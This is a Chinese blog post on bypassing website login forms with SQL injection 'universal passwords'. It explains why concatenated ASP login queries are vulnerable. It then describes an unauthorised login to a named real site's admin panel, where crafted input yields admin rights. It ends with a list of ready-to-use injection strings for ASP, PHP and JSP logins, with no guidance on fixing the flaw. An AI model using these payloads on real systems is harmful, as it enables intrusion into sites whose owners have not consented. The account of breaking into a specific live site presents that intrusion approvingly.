码迷,mamicode.com
首页 > Web开发 > 详细

网站登录的破解

时间:2014-08-25 02:15:33      阅读:381      评论:0      收藏:0      [点我收藏+]

标签:http   使用   io   for   数据   ar   cti   log   amp   



<%
pwd = request.form("password") //获取用户登录的密码并赋值给pwd

user = request.form("username") //获取后台登陆的用户名并赋值给user

Set RS = Server.CreateObject("ADODB.Connection") //连接数据库

sql = "select * from admin where UserName=‘" & user &"‘ and PassWord=‘" & pwd & "‘" //查询数据库

........

后面就不用写了!

我们来看看漏洞产生的原因!

比如,在登录后台时我们第一次输入:admin/admin888,那么在check.asp中(假设没有md5加密):

user=admin,pwd=admin888

然后查询:select * from admin where UserName = ‘admin‘ and PassWord = ‘admin888‘

如果数据库admin表的UserName字段存在admin这个记录,并且相应字段PassWord存在admin888,那么,登录成功,然后设置用户的session!

但是,用万能密码‘or‘=‘or‘/‘or‘=‘or‘登录呢?

user=‘or‘=‘or‘ pwd=‘or‘=‘or‘

查询语句为:select * from admin where UserName = ‘‘ or ‘=‘ or ‘‘ and PassWord = ‘‘ or ‘=‘ or ‘‘

(为了条理性,我多加了一个空格进去)

这句的意思是:查询数据库中(用户名为空或者空等于空(这句是正确的哦))并且 (密码为空或者空等于空(也是正确的))

可以看到用户名部分用or(或者)连接,结果是true;同样,密码部分也是返回true,那么再用and连接,当然也是true,所以就能够绕过去了!

这就是原理主要部分!>_<

当然,万能密码还有很多种,这里就不说了!

但是,灵活运用才是最重要!

看一个实际的例子!

朋友小树前几天看了一个站(http://www.czdh.com.cn/manage/login.asp),可以用万能密码‘or‘=‘or‘登录,而且后台有数据库备份,但是,可惜的是没有权限,怪哉!

一般而言,‘or‘=‘or‘登录的都是admin身份,而这个居然只是一个普通的管理员!

呵呵,其实没有什么的!如我们刚才所说,万能密码如果能够正确,那么它查询的时候也因该有一个先后顺序的吧,从第一个记录开始查!由于始终正确,那么他会返回第一个记录,对吧?

不幸的是,这个管理员表中,第一条记录就是一个普通管理员!

呵呵,杯具!

权限真是小啊!上传权限好像都没有的,杯具了! 当然,思路还是有的!

比如:如果有注入点,可以得到管理员的用户名和密码(md5加密,再加点难度,不能被破解),然后用万能密码登陆后台,然后修改cookie,呵呵!不用说,是可以欺骗成功的!

肯定的原因:抓包分析得出的!

又杯具的是:没有找到注入点!

那么,好像没有办法了!

呵呵!

我一直在想,怎么才能用万能密码登陆成功,并且身份是admin

我用户名和密码都输入:admin‘or‘=‘

报错,如下:

语法错误 (操作符丢失) 在查询表达式 ‘adminname=‘admin‘or‘=‘‘ and adminpass=‘915c991fe2863ae671cb4f5066dad485‘‘ 中

嘿嘿,这下子可好了!

虽然只是语法错误而已,但是,给我们提供了一个思路!

注意看报错内容,在此就不再分析了!我们猜想,如果有admin这个用户,那么我们构造一个正确的语句,那么,是不是就可以以admin身份登陆呢?

呵呵,果然如此!

用户名和密码都是:admin‘or‘1

嘿嘿~!登陆成功,用户是admin了!

呵呵!灵活运用才是关键!

当然,通过刚才的想法!很明显:我们可以构造一个任何存在的用户,并且,可以成功登陆!

看了一下,shell其实也并不好拿!嘿嘿!

参考网址:http://www.douban.com/note/148789639/

asp aspx万能密码

  1: "or "a"="a
   2: ‘)or(‘a‘=‘a
   3:or 1=1--
   4:‘or 1=1--
   5:a‘or‘ 1=1--
   6: "or 1=1--
   7:‘or‘a‘=‘a
   8: "or"="a‘=‘a
   9:‘or‘‘=‘
   10:‘or‘=‘or‘
   11: 1 or ‘1‘=‘1‘=1
   12: 1 or ‘1‘=‘1‘ or 1=1
   13: ‘OR 1=1%00
   14: "or 1=1%00
   15: ‘xor
   16: 新型万能登陆密码

   用户名 ‘ UNION Select 1,1,1 FROM admin Where ‘‘=‘ (替换表名admin)
   密码 1
   Username=-1%cf‘ union select 1,1,1 as password,1,1,1 %23
   Password=1

   17..admin‘ or ‘a‘=‘a 密码随便


   PHP万能密码

   ‘or‘=‘or‘
  
   ‘or 1=1/* 字符型 GPC是否开都可以使用

   User: something
   Pass: ‘ OR ‘1‘=‘1

   jsp 万能密码

   1‘or‘1‘=‘1

   admin‘ OR 1=1/*
 
   用户名:admin 系统存在这个用户的时候 才用得上
   密码:1‘or‘1‘=‘1
参考网址:http://www.douban.com/note/168041331/

网站登录的破解

标签:http   使用   io   for   数据   ar   cti   log   amp   

原文地址:http://www.cnblogs.com/jack-Star/p/3933983.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!